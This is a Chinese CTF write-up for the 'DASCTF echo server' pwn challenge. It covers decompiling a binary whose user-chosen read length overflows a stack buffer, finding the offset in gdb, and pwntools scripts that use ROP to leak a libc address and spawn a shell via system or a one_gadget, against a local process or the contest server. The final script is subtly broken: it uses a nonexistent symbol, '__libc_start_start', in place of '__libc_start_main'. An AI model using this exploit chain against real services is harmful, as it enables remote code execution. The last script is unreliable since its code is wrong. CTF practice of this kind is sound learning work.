menu EDS
DASCTF echo server
1395 浏览 | 2020-04-29 | 分类:pwn | 标签:

DASCTF echo server

题目给定ELF文件一个。

  1. ida静态分析

主函数在清理输入输出流后进入4006d2()函数

int sub_4006D2()
{
  unsigned int v1; // [rsp+Ch] [rbp-84h]
  char s; // [rsp+10h] [rbp-80h]

  v1 = 0;
  printf("how long is your name: ");
  __isoc99_scanf("%d", &v1);
  printf("and what's you name? ", &v1);
  memset(&s, 0, 0x80uLL);
  sub_4006A7(&s, v1);
  return printf("hello %s", &s);
}

4006a7()函数

__int64 __fastcall sub_4006A7(void *a1, unsigned int a2)
{
  return (unsigned int)read(0, a1, a2);
}

经分析,第一次输入接收为int型,不限制大小,可以定义第二次的输入长度,足够造成溢出。

  1. 动态调试

脚本如下

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'


local = 1
if local == 1:
    r=process('./test')
    gdb.attach(r,'b * 0x400767')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    r=remote('183.129.189.60',10039)
    libc = ELF('./libc.so.6')

elf = ELF('./test')
printf = p64(elf.symbols['printf'])
libc_start_main_got = p64(elf.got['__libc_start_main'])
main = p64(0x4005c0)
r.recvuntil('name:')
r.sendline('400')
r.recvuntil('name?')
r.sendline(cyclic(400))

r.interactive()

结果如下

RAX: 0x196 
RBX: 0x0 
RCX: 0x7f0f450d32c0 (<__write_nocancel+7>:    cmp    rax,0xfffffffffffff001)
RDX: 0x7f0f453a2780 --> 0x0 
RSI: 0x7ffeffa44dd0 ("hello aaaabaaac"...)
RDI: 0x1 
RBP: 0x6261616962616168 ('haabiaab')
RSP: 0x7ffeffa474f8 ("jaabkaablaabmaa"...)
RIP: 0x400768 (ret)
R8 : 0x7f0f455b0700 (0x00007f0f455b0700)
R9 : 0x196 
R10: 0x190 
R11: 0x246 
R12: 0x4005c0 (xor    ebp,ebp)
R13: 0x7ffeffa475f0 ("vaadwaadxaadyaa"...)
R14: 0x0 
R15: 0x0
[------------------------------------------------------------------------------]
gdb-peda$ cyclic -l haab
128

利用printf泄露libc基址

由于溢出返回到printf()函数时,rsi内有地址内容,会使printf()报错,需要pop rsi将rsi清空,泄露__libc_start_main()函数后跳转回main函数重新执行getshell。脚本如下。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'


local = 1
if local == 1:
    r=process('./test')
    gdb.attach(r,'b * 0x400767')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    r=remote('183.129.189.60',10039)
    libc = ELF('./libc.so.6')

elf = ELF('./test')
printf = p64(elf.symbols['printf'])
printf_got = p64(elf.got['printf'])
libc_start_main_got = p64(elf.got['__libc_start_main'])
main = p64(0x400769)
rdi = p64(0x400823)
rsi = p64(0x400821)
base = cyclic(128)+p64(0xdeadbeef)
r.recvuntil('name:')
r.sendline('400')
exp1 = base+rsi+p64(0)+p64(0)+rdi+libc_start_main_got+printf+main
r.recvuntil('name?')
r.sendline(exp1)
r.recvuntil('faabgaab')
r.recv(4)
lsm = u64(r.recv(6)+'\x00\x00')
print hex(lsm)
libcbase = lsm - libc.symbols['__libc_start_main']
print hex(libcbase)

system = p64(libcbase + libc.symbols['system'])
binsh = p64(libcbase + libc.search('/bin/sh').next())
r.recvuntil('name:')
r.sendline('400')
exp2 = base+rdi+binsh+system+main+main
r.recvuntil('name?')
r.sendline(exp2+'a'*(400-len(exp2)))


r.interactive()

本地getshell

在远程发送exp的时候,发现目标机程序在执行main函数时会崩溃。尝试从_start()函数处跳转。但是会在执行system()函数时会执行失败。后来在N0vice师傅提示下,libc-2.27.so在system()函数执行时会因为没有栈对齐导致崩溃。当时我选择的是利用one_gadget getshell。

@ubuntu:~/Desktop$ one_gadget libc.so.6 
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

脚本如下

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'


local = 1
if local == 1:
    r=process('./test')
    gdb.attach(r,'b * 0x400767')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    r=remote('183.129.189.60',10039)
    libc = ELF('./libc.so.6')

elf = ELF('./test')
printf = p64(elf.symbols['printf'])
printf_got = p64(elf.got['printf'])
libc_start_start_got = p64(elf.got['__libc_start_start'])
start = p64(0x4005c0)
rdi = p64(0x400823)
rsi = p64(0x400821)
base = cyclic(128)+p64(0xdeadbeef)
r.recvuntil('name:')
r.sendline('400')
exp1 = base+rsi+p64(0)+p64(0)+rdi+libc_start_start_got+printf+start
r.recvuntil('name?')
r.sendline(exp1)
r.recvuntil('faabgaab')
r.recv(4)
lsm = u64(r.recv(6)+'\x00\x00')
print hex(lsm)
libcbase = lsm - libc.symbols['__libc_start_start']
print hex(libcbase)

system = p64(libcbase + libc.symbols['system'])
binsh = p64(libcbase + libc.search('/bin/sh').next())
r.recvuntil('name:')
r.sendline('400')
#exp2 = base+rdi+binsh+system+start+start
exp2 = base+p64(libcbase + 0x4f2c5)
r.recvuntil('name?')
r.sendline(exp2+'a'*(400-len(exp2)))

r.interactive()

发表评论

email
web

全部评论 (暂无评论)

info 还没有任何评论,你来说两句呐!